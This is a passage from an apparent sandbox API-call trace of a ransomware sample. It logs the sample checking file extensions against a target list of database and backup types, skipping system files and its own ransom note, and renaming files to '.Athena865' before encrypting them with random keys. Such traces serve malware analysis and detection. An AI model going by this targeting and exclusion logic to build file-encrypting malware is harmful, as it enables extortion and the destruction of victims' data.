(lpString="sqlite") returned 6 [0119.663] lstrcmpiW (lpString1="il.png", lpString2="sqlite") returned -1 [0119.663] lstrlenW (lpString="sqlite3") returned 7 [0119.663] lstrcmpiW (lpString1="ail.png", lpString2="sqlite3") returned -1 [0119.663] lstrlenW (lpString="sqlitedb") returned 8 [0119.663] lstrcmpiW (lpString1="nail.png", lpString2="sqlitedb") returned -1 [0119.663] lstrlenW (lpString="xml") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0119.663] lstrlenW (lpString="$er") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0119.663] lstrlenW (lpString="4dd") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0119.663] lstrlenW (lpString="4dl") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0119.663] lstrlenW (lpString="^^^") returned 3 [0119.663] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0119.664] lstrlenW (lpString="abs") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0119.664] lstrlenW (lpString="abx") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0119.664] lstrlenW (lpString="accdb") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accdb") returned 1 [0119.664] lstrlenW (lpString="accdc") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accdc") returned 1 [0119.664] lstrlenW (lpString="accde") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accde") returned 1 [0119.664] lstrlenW (lpString="accdr") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accdr") returned 1 [0119.664] lstrlenW (lpString="accdt") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accdt") returned 1 [0119.664] lstrlenW (lpString="accdw") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accdw") returned 1 [0119.664] lstrlenW (lpString="accft") returned 5 [0119.664] lstrcmpiW (lpString1="l.png", lpString2="accft") returned 1 [0119.664] lstrlenW (lpString="adb") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.664] lstrlenW (lpString="adb") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0119.664] lstrlenW (lpString="ade") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0119.664] lstrlenW (lpString="adf") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0119.664] lstrlenW (lpString="adn") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0119.664] lstrlenW (lpString="adp") returned 3 [0119.664] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0119.665] lstrlenW (lpString="alf") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0119.665] lstrlenW (lpString="ask") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0119.665] lstrlenW (lpString="btr") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0119.665] lstrlenW (lpString="cat") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0119.665] lstrlenW (lpString="cdb") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0119.665] lstrlenW (lpString="ckp") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0119.665] lstrlenW (lpString="cma") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0119.665] lstrlenW (lpString="cpd") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0119.665] lstrlenW (lpString="dacpac") returned 6 [0119.665] lstrcmpiW (lpString1="il.png", lpString2="dacpac") returned 1 [0119.665] lstrlenW (lpString="dad") returned 3 [0119.665] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0119.665] lstrlenW (lpString="dadiagrams") returned 10 [0119.665] lstrcmpiW (lpString1="mbnail.png", lpString2="dadiagrams") returned 1 [0119.665] lstrlenW (lpString="daschema") returned 8 [0119.665] lstrcmpiW (lpString1="nail.png", lpString2="daschema") returned 1 [0119.665] lstrlenW (lpString="db-journal") returned 10 [0119.665] lstrcmpiW (lpString1="mbnail.png", lpString2="db-journal") returned 1 [0119.665] lstrlenW (lpString="db-shm") returned 6 [0119.665] lstrcmpiW (lpString1="il.png", lpString2="db-shm") returned 1 [0119.665] lstrlenW (lpString="db-wal") returned 6 [0119.665] lstrcmpiW (lpString1="il.png", lpString2="db-wal") returned 1 [0119.665] lstrlenW (lpString="dbc") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0119.666] lstrlenW (lpString="dbs") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0119.666] lstrlenW (lpString="dbt") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0119.666] lstrlenW (lpString="dbv") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0119.666] lstrlenW (lpString="dbx") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0119.666] lstrlenW (lpString="dcb") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0119.666] lstrlenW (lpString="dct") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0119.666] lstrlenW (lpString="dcx") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0119.666] lstrlenW (lpString="ddl") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0119.666] lstrlenW (lpString="dlis") returned 4 [0119.666] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0119.666] lstrlenW (lpString="dp1") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0119.666] lstrlenW (lpString="dqy") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0119.666] lstrlenW (lpString="dsk") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0119.666] lstrlenW (lpString="dsn") returned 3 [0119.666] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0119.666] lstrlenW (lpString="dtsx") returned 4 [0119.666] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0119.666] lstrlenW (lpString="dxl") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0119.667] lstrlenW (lpString="eco") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0119.667] lstrlenW (lpString="ecx") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0119.667] lstrlenW (lpString="edb") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0119.667] lstrlenW (lpString="epim") returned 4 [0119.667] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0119.667] lstrlenW (lpString="fcd") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0119.667] lstrlenW (lpString="fdb") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0119.667] lstrlenW (lpString="fic") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0119.667] lstrlenW (lpString="flexolibrary") returned 12 [0119.667] lstrcmpiW (lpString1="humbnail.png", lpString2="flexolibrary") returned 1 [0119.667] lstrlenW (lpString="fm5") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0119.667] lstrlenW (lpString="fmp") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0119.667] lstrlenW (lpString="fmp12") returned 5 [0119.667] lstrcmpiW (lpString1="l.png", lpString2="fmp12") returned 1 [0119.667] lstrlenW (lpString="fmpsl") returned 5 [0119.667] lstrcmpiW (lpString1="l.png", lpString2="fmpsl") returned 1 [0119.667] lstrlenW (lpString="fol") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0119.667] lstrlenW (lpString="fp3") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0119.667] lstrlenW (lpString="fp4") returned 3 [0119.667] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0119.668] lstrlenW (lpString="fp5") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0119.668] lstrlenW (lpString="fp7") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0119.668] lstrlenW (lpString="fpt") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0119.668] lstrlenW (lpString="frm") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0119.668] lstrlenW (lpString="gdb") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.668] lstrlenW (lpString="gdb") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0119.668] lstrlenW (lpString="grdb") returned 4 [0119.668] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0119.668] lstrlenW (lpString="gwi") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0119.668] lstrlenW (lpString="hdb") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0119.668] lstrlenW (lpString="his") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0119.668] lstrlenW (lpString="ib") returned 2 [0119.668] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0119.668] lstrlenW (lpString="idb") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0119.668] lstrlenW (lpString="ihx") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0119.668] lstrlenW (lpString="itdb") returned 4 [0119.668] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0119.668] lstrlenW (lpString="itw") returned 3 [0119.668] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0119.668] lstrlenW (lpString="jet") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0119.669] lstrlenW (lpString="jtx") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0119.669] lstrlenW (lpString="kdb") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0119.669] lstrlenW (lpString="kexi") returned 4 [0119.669] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0119.669] lstrlenW (lpString="kexic") returned 5 [0119.669] lstrcmpiW (lpString1="l.png", lpString2="kexic") returned 1 [0119.669] lstrlenW (lpString="kexis") returned 5 [0119.669] lstrcmpiW (lpString1="l.png", lpString2="kexis") returned 1 [0119.669] lstrlenW (lpString="lgc") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0119.669] lstrlenW (lpString="lwx") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0119.669] lstrlenW (lpString="maf") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0119.669] lstrlenW (lpString="maq") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0119.669] lstrlenW (lpString="mar") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0119.669] lstrlenW (lpString="marshal") returned 7 [0119.669] lstrcmpiW (lpString1="ail.png", lpString2="marshal") returned -1 [0119.669] lstrlenW (lpString="mas") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0119.669] lstrlenW (lpString="mav") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0119.669] lstrlenW (lpString="maw") returned 3 [0119.669] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0119.670] lstrlenW (lpString="mdbhtml") returned 7 [0119.670] lstrcmpiW (lpString1="ail.png", lpString2="mdbhtml") returned -1 [0119.670] lstrlenW (lpString="mdn") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0119.670] lstrlenW (lpString="mdt") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0119.670] lstrlenW (lpString="mfd") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0119.670] lstrlenW (lpString="mpd") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0119.670] lstrlenW (lpString="mrg") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0119.670] lstrlenW (lpString="mud") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0119.670] lstrlenW (lpString="mwb") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0119.670] lstrlenW (lpString="myd") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0119.670] lstrlenW (lpString="ndf") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0119.670] lstrlenW (lpString="nnt") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0119.670] lstrlenW (lpString="nrmlib") returned 6 [0119.670] lstrcmpiW (lpString1="il.png", lpString2="nrmlib") returned -1 [0119.670] lstrlenW (lpString="ns2") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0119.670] lstrlenW (lpString="ns3") returned 3 [0119.670] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0119.670] lstrlenW (lpString="ns4") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0119.671] lstrlenW (lpString="nsf") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0119.671] lstrlenW (lpString="nv") returned 2 [0119.671] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0119.671] lstrlenW (lpString="nv2") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0119.671] lstrlenW (lpString="nwdb") returned 4 [0119.671] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0119.671] lstrlenW (lpString="nyf") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0119.671] lstrlenW (lpString="odb") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.671] lstrlenW (lpString="odb") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0119.671] lstrlenW (lpString="oqy") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0119.671] lstrlenW (lpString="ora") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0119.671] lstrlenW (lpString="orx") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0119.671] lstrlenW (lpString="owc") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0119.671] lstrlenW (lpString="p96") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0119.671] lstrlenW (lpString="p97") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0119.671] lstrlenW (lpString="pan") returned 3 [0119.671] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0119.671] lstrlenW (lpString="pdb") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0119.672] lstrlenW (lpString="pdm") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0119.672] lstrlenW (lpString="pnz") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0119.672] lstrlenW (lpString="qry") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0119.672] lstrlenW (lpString="qvd") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0119.672] lstrlenW (lpString="rbf") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0119.672] lstrlenW (lpString="rctd") returned 4 [0119.672] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0119.672] lstrlenW (lpString="rod") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0119.672] lstrlenW (lpString="rodx") returned 4 [0119.672] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0119.672] lstrlenW (lpString="rpd") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0119.672] lstrlenW (lpString="rsd") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0119.672] lstrlenW (lpString="sas7bdat") returned 8 [0119.672] lstrcmpiW (lpString1="nail.png", lpString2="sas7bdat") returned -1 [0119.672] lstrlenW (lpString="sbf") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0119.672] lstrlenW (lpString="scx") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0119.672] lstrlenW (lpString="sdb") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0119.672] lstrlenW (lpString="sdc") returned 3 [0119.672] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0119.673] lstrlenW (lpString="sdf") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0119.673] lstrlenW (lpString="sis") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0119.673] lstrlenW (lpString="spq") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0119.673] lstrlenW (lpString="te") returned 2 [0119.673] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0119.673] lstrlenW (lpString="teacher") returned 7 [0119.673] lstrcmpiW (lpString1="ail.png", lpString2="teacher") returned -1 [0119.673] lstrlenW (lpString="tmd") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0119.673] lstrlenW (lpString="tps") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0119.673] lstrlenW (lpString="trc") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.673] lstrlenW (lpString="trc") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0119.673] lstrlenW (lpString="trm") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0119.673] lstrlenW (lpString="udb") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0119.673] lstrlenW (lpString="udl") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0119.673] lstrlenW (lpString="usr") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0119.673] lstrlenW (lpString="v12") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0119.673] lstrlenW (lpString="vis") returned 3 [0119.673] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0119.673] lstrlenW (lpString="vpd") returned 3 [0119.674] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0119.674] lstrlenW (lpString="vvv") returned 3 [0119.674] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0119.674] lstrlenW (lpString="wdb") returned 3 [0119.674] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0119.674] lstrlenW (lpString="wmdb") returned 4 [0119.674] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0119.674] lstrlenW (lpString="wrk") returned 3 [0119.674] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0119.674] lstrlenW (lpString="xdb") returned 3 [0119.674] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0119.674] lstrlenW (lpString="xld") returned 3 [0119.674] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0119.674] lstrlenW (lpString="xmlff") returned 5 [0119.674] lstrcmpiW (lpString1="l.png", lpString2="xmlff") returned -1 [0119.674] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.Athena865") returned 86 [0119.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.athena865"), dwFlags=0x1) returned 1 [0119.675] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0119.676] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4842) returned 1 [0119.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0119.676] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.676] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.677] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.677] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.677] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f0, lpName=0x0) returned 0x17c [0119.679] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f0) returned 0x100000 [0119.680] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.681] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.681] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0119.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.682] CloseHandle (hObject=0x17c) returned 1 [0119.682] CloseHandle (hObject=0x154) returned 1 [0119.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0119.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.682] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0119.682] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.682] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.682] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0119.682] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="temp") returned -1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="pagefile.sys") returned -1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot") returned 1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ids.txt") returned 1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="perflogs") returned -1 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSBuild") returned 1 [0119.683] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0119.683] lstrcpyW (in: lpString1=0x241e8a0, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0119.683] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0119.683] lstrlenW (lpString="Athena865") returned 9 [0119.683] lstrcmpiW (lpString1="aphic.png", lpString2="Athena865") returned -1 [0119.683] lstrlenW (lpString=".dll") returned 4 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".dll") returned 1 [0119.683] lstrlenW (lpString=".lnk") returned 4 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".lnk") returned 1 [0119.683] lstrlenW (lpString=".ini") returned 4 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".ini") returned 1 [0119.683] lstrlenW (lpString=".sys") returned 4 [0119.683] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".sys") returned 1 [0119.683] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32 [0119.683] lstrlenW (lpString="bak") returned 3 [0119.683] lstrcmpiW (lpString1="png", lpString2="bak") returned 1 [0119.683] lstrlenW (lpString="ba_") returned 3 [0119.683] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1 [0119.683] lstrlenW (lpString="dbb") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1 [0119.684] lstrlenW (lpString="vmdk") returned 4 [0119.684] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1 [0119.684] lstrlenW (lpString="rar") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="rar") returned -1 [0119.684] lstrlenW (lpString="zip") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="zip") returned -1 [0119.684] lstrlenW (lpString="tgz") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1 [0119.684] lstrlenW (lpString="vbox") returned 4 [0119.684] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1 [0119.684] lstrlenW (lpString="vdi") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1 [0119.684] lstrlenW (lpString="vhd") returned 3 [0119.684] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1 [0119.684] lstrlenW 